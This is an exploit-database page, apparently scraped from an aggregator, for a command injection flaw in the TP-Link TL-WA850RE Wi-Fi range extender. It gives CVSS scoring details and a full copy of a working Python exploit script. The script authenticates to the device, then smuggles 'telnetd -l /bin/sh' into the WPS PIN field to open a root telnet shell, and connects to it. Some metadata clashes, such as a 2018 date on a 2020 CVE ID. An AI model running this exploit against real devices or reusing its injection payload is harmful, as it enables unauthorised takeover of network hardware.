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TP-Link TL-WA850RE Remote Command Execution

CVE	Category	Price	Severity
CVE-2020-8263	CWE-78	$5,000	High

Author	Risk	Exploitation Type	Date
p@ked	High	Remote	2018-06-22

CPE
cpe:cpe:/h:tp-link:tl-wa850re

CVSS	EPSS	EPSSP
CVSS:7.2/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060234

Below is a copy:

TP-Link TL-WA850RE Remote Command Execution

#!/usr/bin/env python
 
# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Command Execution
# Date: 19/06/2018
# Exploit Author: yoresongo - Advisability S.A.S Colombia (www.advisability.co)
# Vendor Homepage: https://www.tp-link.com/
# Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html 
# Tested on: Firmware Version TL-WA850RE_V5_180228
# Contact: yoresongo [at] advisability.co
 
import argparse
import requests
import hashlib
import telnetlib
 
parser = argparse.ArgumentParser(
    description="Exploits TP-LINK WA850RE Command injection"
)
parser.add_argument("host", help="Host to attack.", type=str)
parser.add_argument("password", help="Extender's Password", type=str)
parser.add_argument(
    "-C", "--cookie", help="Cookie id value.", type=str, default="1301a8c000c4c505"
)
args = parser.parse_args()
 
HOST = args.host
PASSWORD = args.password
COOKIE = args.cookie
 
 
cookies = {"gsScrollPos-8016": "0", "COOKIE": COOKIE}
 
headers = {
    "Origin": "http://%s/" % HOST,
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9,es;q=0.8",
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Referer": "http://%s/" % HOST,
    "X-Requested-With": "XMLHttpRequest",
    "Connection": "keep-alive",
    "DNT": "1",
}
 
 
password = hashlib.md5(PASSWORD.encode("utf-8")).hexdigest().upper()
encoded = "%s:%s" % (password, COOKIE)
encoded = hashlib.md5(encoded.encode("utf-8")).hexdigest().upper()
 
data = [("operation", "login"), ("encoded", encoded), ("nonce", COOKIE)]
 
# Payload
data_inject = [
    ("operation", "write"),
    ("option", "connect"),
    ("wps_setup_pin", "11480723;telnetd -l /bin/sh"),
]
 
 
with requests.Session() as s:
    response = s.post(
        "http://%s/data/login.json" % HOST, headers=headers, cookies=cookies, data=data
    )
    print(response.text)
 
    # An authorised request.
    r = s.get("http://%s" % HOST, headers=headers, cookies=cookies)
    # print (r.text)
    r = s.post(
        "http://%s/data/wps.setup.json" % HOST,
        headers=headers,
        cookies=cookies,
        data=data_inject,
    )
 
tn = telnetlib.Telnet(HOST)
tn.interact()

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